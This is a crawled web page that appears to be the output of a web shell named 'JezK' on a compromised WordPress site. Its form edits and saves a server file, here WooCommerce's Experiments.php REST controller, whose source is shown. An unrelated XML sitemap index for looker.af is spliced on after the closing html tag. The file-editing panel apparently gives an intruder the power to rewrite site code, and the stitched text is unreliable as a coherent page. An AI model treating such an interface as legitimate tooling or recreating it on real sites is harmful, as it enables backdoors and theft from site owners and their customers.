
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Experiments.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * REST API Experiment Controller
 *
 * Handles requests to /experiment
 */

namespace Automattic\WooCommerce\Admin\API;

defined( &#039;ABSPATH&#039; ) || exit;

/**
 * Data controller.
 *
 * @extends WC_REST_Data_Controller
 */
class Experiments extends \WC_REST_Data_Controller {

	/**
	 * Endpoint namespace.
	 *
	 * @var string
	 */
	protected $namespace = &#039;wc-admin&#039;;

	/**
	 * Route base.
	 *
	 * @var string
	 */
	protected $rest_base = &#039;experiments&#039;;

	/**
	 * Register routes.
	 */
	public function register_routes() {
		register_rest_route(
			$this-&gt;namespace,
			&#039;/&#039; . $this-&gt;rest_base . &#039;/assignment&#039;,
			array(
				array(
					&#039;methods&#039;             =&gt; \WP_REST_Server::READABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;get_assignment&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;get_item_permissions_check&#039; ),
				),
				&#039;schema&#039; =&gt; array( $this, &#039;get_public_item_schema&#039; ),
			)
		);
	}


	/**
	 * Forward the experiment request to WP.com and return the WP.com response.
	 *
	 * @param \WP_REST_Request $request Request data.
	 *
	 * @return \WP_Error|\WP_REST_Response
	 */
	public function get_assignment( $request ) {
		$args = $request-&gt;get_query_params();

		if ( ! isset( $args[&#039;experiment_name&#039;] ) ) {
			return new \WP_Error(
				&#039;woocommerce_rest_experiment_name_required&#039;,
				__( &#039;Sorry, experiment_name is required.&#039;, &#039;woocommerce&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		unset( $args[&#039;rest_route&#039;] );

		$abtest   = new \WooCommerce\Admin\Experimental_Abtest(
			$request-&gt;get_param( &#039;anon_id&#039; ) ?? &#039;&#039;,
			&#039;woocommerce&#039;,
			true, // set consent to true here since frontend has checked it already.
			true  // set true to send request as auth user.
		);
		$response = $abtest-&gt;request_assignment( $args );
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		return json_decode( $response[&#039;body&#039;], true );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
